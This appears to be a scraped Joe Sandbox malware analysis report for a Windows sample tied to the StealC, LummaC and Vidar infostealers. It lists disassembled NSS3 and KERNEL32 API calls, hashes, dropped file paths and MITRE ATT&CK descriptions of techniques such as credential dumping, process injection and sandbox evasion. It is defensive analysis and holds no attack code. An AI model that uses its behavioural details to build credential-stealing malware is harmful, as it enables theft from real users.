Opcode ID: e86eb305e477f7aaf35ab338266763e55e0eb997aac3663a8b1dcaf18f4ce6c0
Instruction ID: 32e9b635c7d7b81b4ba5b7e1f213b1ac090bc365caa5b3eae113368cd352aaaa
Opcode Fuzzy Hash: e86eb305e477f7aaf35ab338266763e55e0eb997aac3663a8b1dcaf18f4ce6c0
Instruction Fuzzy Hash: DE015675604A459FDB00AF79C084659B7F8FF19398F058A6ADA84C7B01F730E494CBD2

Function 6CC80840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CD52F88,6CC80660,00000020,00000000,?,?,6CC82C3D,?,00000000,00000000,?,6CC82A28,00000060,00000001), ref: 6CC80860

Part of subcall function 6CB74C70: TlsGetValue.KERNEL32(?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74C97
Part of subcall function 6CB74C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CB0
Part of subcall function 6CB74C70: PR_Unlock.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6CC82C3D,?,00000000,00000000,?,6CC82A28,00000060,00000001), ref: 6CC80874
EnterCriticalSection.KERNEL32(00000001), ref: 6CC80884
PR_Unlock.NSS3 ref: 6CC808A3

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: 6c3f114a3140324936b649b1759720dd3c5900bdc883b2df175cf468f221a30e
Instruction ID: c5dc00c8e93080c55c53a08a53fcb7a1e3cdb53fe751aa7f5ad95926868b9f9f
Opcode Fuzzy Hash: 6c3f114a3140324936b649b1759720dd3c5900bdc883b2df175cf468f221a30e
Instruction Fuzzy Hash: 84012071A022446BFB012F25FC459577F7CEB5631DF444165EE0851602FB2294988BE1

Function 6CC9AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CC85D40,00000000,?,?,6CC76AC6,6CC8639C), ref: 6CC9AC2D

Part of subcall function 6CC3ADC0: TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE10
Part of subcall function 6CC3ADC0: EnterCriticalSection.KERNEL32(?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE24
Part of subcall function 6CC3ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CC1D079,00000000,00000001), ref: 6CC3AE5A
Part of subcall function 6CC3ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE6F
Part of subcall function 6CC3ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE7F
Part of subcall function 6CC3ADC0: TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEB1
Part of subcall function 6CC3ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEC9

PK11_FreeSymKey.NSS3(?,6CC85D40,00000000,?,?,6CC76AC6,6CC8639C), ref: 6CC9AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CC85D40,00000000,?,?,6CC76AC6,6CC8639C), ref: 6CC9AC59
free.MOZGLUE(8CB6FF01,6CC76AC6,6CC8639C,?,?,?,?,?,?,?,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC9AC62

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 23dda2436ed57c01807162af50ef1815ae917db2b9cc215df8c5f3694eee3b7f
Instruction ID: 48ab10c755c5131bdf7f8bea40af0b3397d6cd05277e130d9b466a797a35735b
Opcode Fuzzy Hash: 23dda2436ed57c01807162af50ef1815ae917db2b9cc215df8c5f3694eee3b7f
Instruction Fuzzy Hash: D5014BB5A006109FDF00DF55E8C0B467BA8AF84B5DF1880A8E9498F706E731E948CBA1

Function 6CD0CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CD0CC61
free.MOZGLUE ref: 6CD0CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CD0CC80
free.MOZGLUE(?), ref: 6CD0CC87

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: a1ed62d0cc51c02f721417702d2ca016904db78f66aab8cbf09f3e6e66ed89e3
Instruction ID: b5262a21c24caf35710288f6ba22dfefb2bdcbe1a710908c34023428f7035837
Opcode Fuzzy Hash: a1ed62d0cc51c02f721417702d2ca016904db78f66aab8cbf09f3e6e66ed89e3
Instruction Fuzzy Hash: D3E030767006089BDA10EFA8DC8489677ACEE892743154525E791C3700D231F905CBA1

Function 6CC44D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC44D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CC44DE6

Strings

%d.%d, xrefs: 6CC44DDE

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 6e357c819662ef69ff47ff137aec8ab305eaec5197832330e35a7b1fcecd8209
Instruction ID: 0a3903c5670e96c60cea776fe790fba530ed3b698be70f3dc5a32aeb26e5457a
Opcode Fuzzy Hash: 6e357c819662ef69ff47ff137aec8ab305eaec5197832330e35a7b1fcecd8209
Instruction Fuzzy Hash: 1331F8B2D002186BEB109FA1DC01BFF7768EF40308F118469ED199B781FB709905CBA1

Function 6CC8AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CC8AF78

Part of subcall function 6CBEACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBEACE2
Part of subcall function 6CBEACC0: malloc.MOZGLUE(00000001), ref: 6CBEACEC
Part of subcall function 6CBEACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBEAD02
Part of subcall function 6CBEACC0: TlsGetValue.KERNEL32 ref: 6CBEAD3C
Part of subcall function 6CBEACC0: calloc.MOZGLUE(00000001,?), ref: 6CBEAD8C
Part of subcall function 6CBEACC0: PR_Unlock.NSS3 ref: 6CBEADC0
Part of subcall function 6CBEACC0: PR_Unlock.NSS3 ref: 6CBEAE8C
Part of subcall function 6CBEACC0: free.MOZGLUE(?), ref: 6CBEAEAB

memcpy.VCRUNTIME140(6CD53084,6CD502AC,00000090), ref: 6CC8AF94

Strings

SSL, xrefs: 6CC8AF73

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 5cb993ad6deb97a1fb47e10da437e55ae5fc04e8bd02b2e2df8648feee155c91
Instruction ID: b09a2673221f50619ef4f90996abb40ee63dd08972c431e95f53cc143f060460
Opcode Fuzzy Hash: 5cb993ad6deb97a1fb47e10da437e55ae5fc04e8bd02b2e2df8648feee155c91
Instruction Fuzzy Hash: A82149B2306B48ABEA41DF59A963317BE78B34269C790560CD3084BF76E73180589FD5

Function 6CBE0F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F1B

Part of subcall function 6CBE1370: GetSystemInfo.KERNEL32(?,?,?,?,6CBE0936,?,6CBE0F20,6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000), ref: 6CBE138F

PR_NewLogModule.NSS3(clock,6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F25

Part of subcall function 6CBE1110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CBE0936,00000001,00000040), ref: 6CBE1130
Part of subcall function 6CBE1110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CBE0936,00000001,00000040), ref: 6CBE1142
Part of subcall function 6CBE1110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBE0936,00000001), ref: 6CBE1167

Strings

clock, xrefs: 6CBE0F20

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 4da17e3c687bddb82a4c9aa309d017c2b7da1155f437d09fdfb803ced597d1a1
Instruction ID: 235960a939becea54e0113fb66f5c9295479f094222fff26b2697e2aaca824be
Opcode Fuzzy Hash: 4da17e3c687bddb82a4c9aa309d017c2b7da1155f437d09fdfb803ced597d1a1
Instruction Fuzzy Hash: D0D0223120018422E200235BDC44B9FB2BCCBC7AFEF240826E20841E128B2880DED2B6

Function 6CC50DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CC50DF5
TlsGetValue.KERNEL32 ref: 6CC50E2D
TlsGetValue.KERNEL32 ref: 6CC50E58
TlsGetValue.KERNEL32 ref: 6CC50E84

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 07beb6ce9d0fd0e7da85e2e5b03d1e27cc06c5d6b5d06b46c0d05ff9dd30a3a0
Instruction ID: f807877e55f34c6a8376a1947daed0ea489fe5a6b93bfeb04be5b7f04b03a7a1
Opcode Fuzzy Hash: 07beb6ce9d0fd0e7da85e2e5b03d1e27cc06c5d6b5d06b46c0d05ff9dd30a3a0
Instruction Fuzzy Hash: F531A0707457808BEB106F7DC58526977B8BF4A34CFA1462DD9C8C7A11EBB084B9CA86

Function 6CC50F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CBF2AF5,?,?,?,?,?,6CBF0A1B,00000000), ref: 6CC50F1A
malloc.MOZGLUE(00000001), ref: 6CC50F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC50F42
TlsGetValue.KERNEL32 ref: 6CC50F5B

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 20a9635cb75b2f6dc2a6b2965037a7cc578dde06ef8a002f279f9d9fcc6807c9
Instruction ID: f4263eceddf06f892e79eb767998d8f31c7c046ed4f13c05c2ac8634dd20bdda
Opcode Fuzzy Hash: 20a9635cb75b2f6dc2a6b2965037a7cc578dde06ef8a002f279f9d9fcc6807c9
Instruction Fuzzy Hash: 8F01D8B1F002805BF7102F7E9D445667AACEF9669DB410635ED48C2A21FB32C47986E6

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report NdSXVNeoET.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFCBAEBAEBFHCAKFCAKECFCAFC

C:\ProgramData\AFIDGDBGCAAFIDHIJKEHDGDGII

C:\ProgramData\AKECBFBA

C:\ProgramData\BGHIDGCAFCBAAAAAFHDA

C:\ProgramData\EGIDAAFIEHIEHJKFHCAEGCBFHJ

C:\ProgramData\GCAKKECA

C:\ProgramData\HJEHIJEBKEBFBFHIIDHI

C:\ProgramData\IIIEBGCBGIDHDGCAKJEBAKJJKE

Windows Analysis Report
NdSXVNeoET.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

